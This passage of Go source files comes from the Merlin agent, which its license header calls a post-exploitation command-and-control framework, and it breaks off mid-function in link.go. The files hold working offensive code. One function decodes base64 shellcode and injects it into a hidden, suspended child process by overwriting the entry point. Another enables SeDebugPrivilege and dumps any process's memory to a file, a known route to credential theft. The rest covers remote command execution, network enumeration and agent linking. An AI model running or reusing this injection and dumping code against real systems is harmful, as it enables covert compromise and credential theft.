error) { // Base64 decode string into bytes shellcode, errDecode := base64.StdEncoding.DecodeString(sc) if errDecode != nil { return stdout, stderr, fmt.Errorf("there was an error decoding the Base64 string: %s", errDecode) } // Load DLLs and Procedures kernel32 := windows.NewLazySystemDLL("kernel32.dll") ntdll := windows.NewLazySystemDLL("ntdll.dll") VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") // Setup pipes to retrieve output stdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes() if err != nil { return } application, err := exec.LookPath(spawnto) if err != nil { err = fmt.Errorf("there was an error resolving the absolute: %s", err) return } // Convert the program to a LPCWSTR lpApplicationName, err := syscall.UTF16PtrFromString(application) if err != nil { err = fmt.Errorf("there was an error converting the application name \"%s\" to LPCWSTR: %s", application, err) return } // Convert the program to a LPCWSTR lpCommandLine, err := syscall.UTF16PtrFromString(args) if err != nil { err = fmt.Errorf("there was an error converting the application arguments \"%s\" to LPCWSTR: %s", args, err) return } lpProcessInformation := &windows.ProcessInformation{} lpStartupInfo := &windows.StartupInfo{ StdInput: stdInRead, StdOutput: stdOutWrite, StdErr: stdErrWrite, Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED | windows.STARTF_USESHOWWINDOW, ShowWindow: windows.SW_HIDE, } if tokens.Token != 0 { err = windows.CreateProcessAsUser(tokens.Token, lpApplicationName, lpCommandLine, nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, lpStartupInfo, lpProcessInformation) if err != nil { err = fmt.Errorf("there was an error calling windows.CreateProcessAsUser(): %s", err) return } stdout += fmt.Sprintf("Created %s process with an ID of %d\n", application, lpProcessInformation.ProcessId) } else { errCreateProcess := windows.CreateProcess(lpApplicationName, lpCommandLine, nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, lpStartupInfo, lpProcessInformation) if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling CreateProcess:\r\n%s", errCreateProcess) } stdout += fmt.Sprintf("Created %s process with an ID of %d\n", application, lpProcessInformation.ProcessId) } // Allocate memory in child process addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(lpProcessInformation.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling VirtualAlloc:\r\n%s", errVirtualAlloc) } if addr == 0 { return stdout, stderr, fmt.Errorf("VirtualAllocEx failed and returned 0") } // Write shellcode into child process memory _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(lpProcessInformation.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory) } // Change memory permissions to RX in child process where shellcode was written oldProtect := windows.PAGE_READWRITE _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(lpProcessInformation.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx) } var processInformation PROCESS_BASIC_INFORMATION var returnLength uintptr ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(lpProcessInformation.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength) if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess) } if ntStatus != 0 { if ntStatus == 3221225476 { return stdout, stderr, fmt.Errorf("error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476) } fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus)) return stdout, stderr, fmt.Errorf("error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus)) } // Read from PEB base address to populate the PEB structure // ReadProcessMemory /* BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead ); */ ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") var peb PEB var readBytes int32 _, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes))) if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory) } var dosHeader IMAGE_DOS_HEADER var readBytes2 int32 _, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2))) if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2) } // 23117 is the LittleEndian unsigned base10 representation of MZ // 0x5a4d is the LittleEndian unsigned base16 representation of MZ if dosHeader.Magic != 23117 { return stdout, stderr, fmt.Errorf("DOS image header magic string was not MZ: 0x%x", dosHeader.Magic) } // Read the child process's PE header signature to validate it is a PE var Signature uint32 var readBytes3 int32 _, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3))) if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3) } // 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated) // 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated) if Signature != 17744 { return stdout, stderr, fmt.Errorf("PE Signature string was not PE: 0x%x", Signature) } var peHeader IMAGE_FILE_HEADER var readBytes4 int32 _, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4))) if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4) } var optHeader64 IMAGE_OPTIONAL_HEADER64 var optHeader32 IMAGE_OPTIONAL_HEADER32 var errReadProcessMemory5 error var readBytes5 int32 if peHeader.Machine == 34404 { // 0x8664 _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5))) } else if peHeader.Machine == 332 { // 0x14c _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5))) } else { return stdout, stderr, fmt.Errorf("unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine) } if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5) } // Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it var ep uintptr if peHeader.Machine == 34404 { // 0x8664 x64 ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint) } else if peHeader.Machine == 332 { // 0x14c x86 ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint) } else { return stdout, stderr, fmt.Errorf("unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine) } var epBuffer []byte var shellcodeAddressBuffer []byte // x86 - 0xb8 = mov eax // x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax if peHeader.Machine == 34404 { // 0x8664 x64 epBuffer = append(epBuffer, byte(0x48)) epBuffer = append(epBuffer, byte(0xb8)) shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr)) epBuffer = append(epBuffer, shellcodeAddressBuffer...) } else if peHeader.Machine == 332 { // 0x14c x86 epBuffer = append(epBuffer, byte(0xb8)) shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr)) epBuffer = append(epBuffer, shellcodeAddressBuffer...) } else { return stdout, stderr, fmt.Errorf("unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine) } // 0xff ; 0xe0 = jmp [r|e]ax epBuffer = append(epBuffer, byte(0xff)) epBuffer = append(epBuffer, byte(0xe0)) _, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(lpProcessInformation.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer))) if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." { return stdout, stderr, fmt.Errorf("error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2) } // Resume the child process _, errResumeThread := windows.ResumeThread(lpProcessInformation.Thread) if errResumeThread != nil { return stdout, stderr, fmt.Errorf("[!]Error calling ResumeThread:\r\n%s", errResumeThread) } // Close the handle to the child process errCloseProcHandle := windows.CloseHandle(lpProcessInformation.Process) if errCloseProcHandle != nil { return stdout, stderr, fmt.Errorf("error closing the child process handle:\r\n\t%s", errCloseProcHandle) } // Close the hand to the child process thread errCloseThreadHandle := windows.CloseHandle(lpProcessInformation.Thread) if errCloseThreadHandle != nil { return stdout, stderr, fmt.Errorf("error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle) } // Close the "write" pipe handles err = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite) if err != nil { stderr = err.Error() return } // Read from the pipes _, out, stderr, err := pipes.ReadPipes(0, stdOutRead, stdErrRead) if err != nil { stderr += err.Error() } stdout += out // Close the "read" pipe handles err = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0) if err != nil { stderr += err.Error() return } return } // TODO always close handle during exception handling // miniDump will attempt to perform use the Windows MiniDumpWriteDump API operation on the provided process, and returns // the raw bytes of the dumpfile back as an upload to the server. // Touches disk during the dump process, in the OS default temporary or provided temporary directory func miniDump(tempDir string, process string, inPid uint32) (map[string]interface{}, error) { var mini map[string]interface{} mini = make(map[string]interface{}) var err error // Make sure a temporary directory exists before executing miniDump functionality if tempDir != "" { d, errS := os.Stat(tempDir) if os.IsNotExist(errS) { return mini, fmt.Errorf("the provided directory does not exist: %s", tempDir) } if d.IsDir() != true { return mini, fmt.Errorf("the provided path is not a valid directory: %s", tempDir) } } else { tempDir = os.TempDir() } // Get the process PID or name mini["ProcName"], mini["ProcID"], err = getProcess(process, inPid) if err != nil { return mini, err } // Setup OS environment, if any err = Setup() if err != nil { return mini, err } defer TearDown() // Get debug privs (required for dumping processes not owned by current user) err = sePrivEnable("SeDebugPrivilege") if err != nil { return mini, err } // Get a handle to process hProc, err := syscall.OpenProcess(0x1F0FFF, false, mini["ProcID"].(uint32)) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF) if err != nil { return mini, err } // Set up the temporary file to write to, automatically remove it once done // TODO: Work out how to do this in memory f, tempErr := ioutil.TempFile(tempDir, "*.tmp") if tempErr != nil { return mini, tempErr } // Remove the file after the function exits, regardless of error nor not defer os.Remove(f.Name()) // Load MiniDumpWriteDump function from DbgHelp.dll k32 := windows.NewLazySystemDLL("DbgHelp.dll") miniDump := k32.NewProc("MiniDumpWriteDump") /* BOOL MiniDumpWriteDump( HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam ); */ // Call Windows MiniDumpWriteDump API r, _, _ := miniDump.Call(uintptr(hProc), uintptr(mini["ProcID"].(uint32)), f.Fd(), 3, 0, 0, 0) f.Close() //idk why this fixes the 'not same as on disk' issue, but it does if r != 0 { mini["FileContent"], err = ioutil.ReadFile(f.Name()) if err != nil { f.Close() return mini, err } } return mini, nil } // getProcess takes in a process name OR a process ID and returns a pointer to the process handle, the process name, // and the process ID. func getProcess(name string, pid uint32) (string, uint32, error) { //https://github.com/mitchellh/go-ps/blob/master/process_windows.go if pid <= 0 && name == "" { return "", 0, fmt.Errorf("a process name OR process ID must be provided") } snapshotHandle, err := syscall.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) if int(snapshotHandle) < 0 || err != nil { return "", 0, fmt.Errorf("there was an error creating the snapshot:\r\n%s", err) } defer syscall.CloseHandle(snapshotHandle) var process syscall.ProcessEntry32 process.Size = uint32(unsafe.Sizeof(process)) err = syscall.Process32First(snapshotHandle, &process) if err != nil { return "", 0, fmt.Errorf("there was an accessing the first process in the snapshot:\r\n%s", err) } for { processName := syscall.UTF16ToString(process.ExeFile[:]) if pid > 0 { if process.ProcessID == pid { return processName, pid, nil } } else if name != "" { if processName == name { return name, process.ProcessID, nil } } err = syscall.Process32Next(snapshotHandle, &process) if err != nil { break } } return "", 0, fmt.Errorf("could not find a procces with the supplied name \"%s\" or PID of \"%d\"", name, pid) } // sePrivEnable adjusts the privileges of the current process to add the passed in string. Good for setting 'SeDebugPrivilege' func sePrivEnable(s string) error { type LUID struct { LowPart uint32 HighPart int32 } type LUID_AND_ATTRIBUTES struct { Luid LUID Attributes uint32 } type TOKEN_PRIVILEGES struct { PrivilegeCount uint32 Privileges [1]LUID_AND_ATTRIBUTES } modadvapi32 := windows.NewLazySystemDLL("advapi32.dll") procAdjustTokenPrivileges := modadvapi32.NewProc("AdjustTokenPrivileges") procLookupPriv := modadvapi32.NewProc("LookupPrivilegeValueW") var tokenHandle syscall.Token thsHandle, err := syscall.GetCurrentProcess() if err != nil { return err } syscall.OpenProcessToken( //r, a, e := procOpenProcessToken.Call( thsHandle, // HANDLE ProcessHandle, syscall.TOKEN_ADJUST_PRIVILEGES, // DWORD DesiredAccess, &tokenHandle, // PHANDLE TokenHandle ) var luid LUID r, _, e := procLookupPriv.Call( uintptr(0), //LPCWSTR lpSystemName, uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(s))), //LPCWSTR lpName, uintptr(unsafe.Pointer(&luid)), //PLUID lpLuid ) if r == 0 { return e } SE_PRIVILEGE_ENABLED := uint32(0x00000002) privs := TOKEN_PRIVILEGES{} privs.PrivilegeCount = 1 privs.Privileges[0].Luid = luid privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED //AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0) r, _, e = procAdjustTokenPrivileges.Call( uintptr(tokenHandle), uintptr(0), uintptr(unsafe.Pointer(&privs)), uintptr(0), uintptr(0), uintptr(0), ) if r == 0 { return e } return nil } // PEB is the Process Environment Block structure that contains information about a process // https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb // https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37 // http://bytepointer.com/resources/tebpeb32.htm // https://www.nirsoft.net/kernel_struct/vista/PEB.html type PEB struct { //reserved1 [2]byte // BYTE 0-1 InheritedAddressSpace byte // BYTE 0 ReadImageFileExecOptions byte // BYTE 1 BeingDebugged byte // BYTE 2 reserved2 [1]byte // BYTE 3 // ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+) // IsProtectedProcess : 1; //0x0003:1 (Vista+) // IsLegacyProcess : 1; //0x0003:2 (Vista+) // IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+) // SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+) // IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+) // IsAppContainer : 1; //0x0003:6 (Win8_RTM+) // SpareBit : 1; //0x0003:7 //reserved3 [2]uintptr // PVOID BYTE 4-8 Mutant uintptr // BYTE 4 ImageBaseAddress uintptr // BYTE 8 Ldr uintptr // PPEB_LDR_DATA ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS reserved4 [3]uintptr // PVOID AtlThunkSListPtr uintptr // PVOID reserved5 uintptr // PVOID reserved6 uint32 // ULONG reserved7 uintptr // PVOID reserved8 uint32 // ULONG AtlThunkSListPtr32 uint32 // ULONG reserved9 [45]uintptr // PVOID reserved10 [96]byte // BYTE PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE reserved11 [128]byte // BYTE reserved12 [1]uintptr // PVOID SessionId uint32 // ULONG } // https://github.com/elastic/go-windows/blob/master/ntdll.go#L77 type PROCESS_BASIC_INFORMATION struct { reserved1 uintptr // PVOID PebBaseAddress uintptr // PPEB reserved2 [2]uintptr // PVOID UniqueProcessId uintptr // ULONG_PTR InheritedFromUniqueProcessID uintptr // PVOID } // Read the child program's DOS header and validate it is a MZ executable type IMAGE_DOS_HEADER struct { Magic uint16 // USHORT Magic number Cblp uint16 // USHORT Bytes on last page of file Cp uint16 // USHORT Pages in file Crlc uint16 // USHORT Relocations Cparhdr uint16 // USHORT Size of header in paragraphs MinAlloc uint16 // USHORT Minimum extra paragraphs needed MaxAlloc uint16 // USHORT Maximum extra paragraphs needed SS uint16 // USHORT Initial (relative) SS value SP uint16 // USHORT Initial SP value CSum uint16 // USHORT Checksum IP uint16 // USHORT Initial IP value CS uint16 // USHORT Initial (relative) CS value LfaRlc uint16 // USHORT File address of relocation table Ovno uint16 // USHORT Overlay number Res [4]uint16 // USHORT Reserved words OEMID uint16 // USHORT OEM identifier (for e_oeminfo) OEMInfo uint16 // USHORT OEM information; e_oemid specific Res2 [10]uint16 // USHORT Reserved words LfaNew int32 // LONG File address of new exe header } // Read the child process's PE file header /* typedef struct _IMAGE_FILE_HEADER { USHORT Machine; USHORT NumberOfSections; ULONG TimeDateStamp; ULONG PointerToSymbolTable; ULONG NumberOfSymbols; USHORT SizeOfOptionalHeader; USHORT Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; */ type IMAGE_FILE_HEADER struct { Machine uint16 NumberOfSections uint16 TimeDateStamp uint32 PointerToSymbolTable uint32 NumberOfSymbols uint32 SizeOfOptionalHeader uint16 Characteristics uint16 } // Read the child process's PE optional header to find it's entry point /* https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64 typedef struct _IMAGE_OPTIONAL_HEADER64 { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; ULONGLONG ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit; ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; */ type IMAGE_OPTIONAL_HEADER64 struct { Magic uint16 MajorLinkerVersion byte MinorLinkerVersion byte SizeOfCode uint32 SizeOfInitializedData uint32 SizeOfUninitializedData uint32 AddressOfEntryPoint uint32 BaseOfCode uint32 ImageBase uint64 SectionAlignment uint32 FileAlignment uint32 MajorOperatingSystemVersion uint16 MinorOperatingSystemVersion uint16 MajorImageVersion uint16 MinorImageVersion uint16 MajorSubsystemVersion uint16 MinorSubsystemVersion uint16 Win32VersionValue uint32 SizeOfImage uint32 SizeOfHeaders uint32 CheckSum uint32 Subsystem uint16 DllCharacteristics uint16 SizeOfStackReserve uint64 SizeOfStackCommit uint64 SizeOfHeapReserve uint64 SizeOfHeapCommit uint64 LoaderFlags uint32 NumberOfRvaAndSizes uint32 DataDirectory uintptr } /* https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32 typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; */ type IMAGE_OPTIONAL_HEADER32 struct { Magic uint16 MajorLinkerVersion byte MinorLinkerVersion byte SizeOfCode uint32 SizeOfInitializedData uint32 SizeOfUninitializedData uint32 AddressOfEntryPoint uint32 BaseOfCode uint32 BaseOfData uint32 // Different from 64 bit header ImageBase uint64 SectionAlignment uint32 FileAlignment uint32 MajorOperatingSystemVersion uint16 MinorOperatingSystemVersion uint16 MajorImageVersion uint16 MinorImageVersion uint16 MajorSubsystemVersion uint16 MinorSubsystemVersion uint16 Win32VersionValue uint32 SizeOfImage uint32 SizeOfHeaders uint32 CheckSum uint32 Subsystem uint16 DllCharacteristics uint16 SizeOfStackReserve uint64 SizeOfStackCommit uint64 SizeOfHeapReserve uint64 SizeOfHeapCommit uint64 LoaderFlags uint32 NumberOfRvaAndSizes uint32 DataDirectory uintptr } ================================================ FILE: commands/execute.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // ExecuteCommand runs the provided input program and arguments, returning results in a message base func ExecuteCommand(cmd jobs.Command) jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for executeCommand function: %+v", cmd)) cli.Message(cli.SUCCESS, fmt.Sprintf("Executing command: %s %s", cmd.Command, cmd.Args)) var results jobs.Results if cmd.Command == "shell" { results.Stdout, results.Stderr = shell(cmd.Args) } else { results.Stdout, results.Stderr = executeCommand(cmd.Command, cmd.Args) } if results.Stderr != "" { cli.Message(cli.WARN, fmt.Sprintf("There was an error executing the command: %s %s", cmd.Command, cmd.Args)) cli.Message(cli.SUCCESS, results.Stdout) cli.Message(cli.WARN, fmt.Sprintf("Error: %s", results.Stderr)) } else { cli.Message(cli.SUCCESS, fmt.Sprintf("Command output:\r\n\r\n%s", results.Stdout)) } return results } ================================================ FILE: commands/ifconfig.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( "fmt" "net" ) // ifconfig enumerates the network interfaces and their configuration func ifconfig() (stdout string, err error) { ifaces, err := net.Interfaces() if err != nil { return "", err } for _, i := range ifaces { stdout += fmt.Sprintf("%s\n", i.Name) stdout += fmt.Sprintf(" MAC Address\t%s\n", i.HardwareAddr.String()) addrs, err := i.Addrs() if err != nil { return "", err } for _, a := range addrs { stdout += fmt.Sprintf(" IP Address\t%s\n", a.String()) } } return stdout, nil } ================================================ FILE: commands/ifconfig_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */package commands import ( "fmt" "net" "syscall" "unsafe" ) // ifconfig enumerates the network interfaces and their configuration // Much of this is ripped from interface_windows.go func ifconfig() (stdout string, err error) { fSize := uint32(0) b := make([]byte, 1000) ifaces, err := net.Interfaces() if err != nil { return "", err } var adapterInfo *syscall.IpAdapterInfo adapterInfo = (*syscall.IpAdapterInfo)(unsafe.Pointer(&b[0])) err = syscall.GetAdaptersInfo(adapterInfo, &fSize) // Call it once to see how much data you need in fSize if err == syscall.ERROR_BUFFER_OVERFLOW { b := make([]byte, fSize) adapterInfo = (*syscall.IpAdapterInfo)(unsafe.Pointer(&b[0])) err = syscall.GetAdaptersInfo(adapterInfo, &fSize) if err != nil { return "", err } } for _, iface := range ifaces { for ainfo := adapterInfo; ainfo != nil; ainfo = ainfo.Next { if int(ainfo.Index) == iface.Index { stdout += fmt.Sprintf("%s\n", iface.Name) stdout += fmt.Sprintf(" MAC Address\t%s\n", iface.HardwareAddr.String()) ipentry := &ainfo.IpAddressList for ; ipentry != nil; ipentry = ipentry.Next { stdout += fmt.Sprintf(" IP Address\t%s\n", ipentry.IpAddress.String) stdout += fmt.Sprintf(" Subnet Mask\t%s\n", ipentry.IpMask.String) } gateways := &ainfo.GatewayList for ; gateways != nil; gateways = gateways.Next { stdout += fmt.Sprintf(" Gateway\t%s\n", gateways.IpAddress.String) } if ainfo.DhcpEnabled != 0 { stdout += fmt.Sprintf(" DHCP\t\tEnabled\n") dhcpServers := &ainfo.DhcpServer for ; dhcpServers != nil; dhcpServers = dhcpServers.Next { stdout += fmt.Sprintf(" DHCP Server:\t%s\n", dhcpServers.IpAddress.String) } } else { stdout += fmt.Sprintf(" DHCP\t\tDisabled\n") } stdout += "\n" } } } return stdout, nil } ================================================ FILE: commands/link.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "bytes" "encoding/base64" "encoding/binary" "encoding/gob" "fmt" "math" "math/rand" "net" "strings" "time" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/core" "github.com/Ne0nd0g/merlin-agent/v2/p2p" p2pService "github.com/Ne0nd0g/merlin-agent/v2/services/p2p" ) // peerToPeerService is used to work with peer-to-peer Agent connections/link to include handling or getting Delegate messages var peerToPeerService *p2pService.Service func init() { peerToPeerService = p2pService.NewP2PService() } // Link connects to the provided target over the provided protocol and establishes a peer-to-peer connection with the Agent func Link(cmd jobs.Command) (results jobs.Results) { cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Link(): entering into function with %+v", cmd)) if len(cmd.Args) < 1 { return 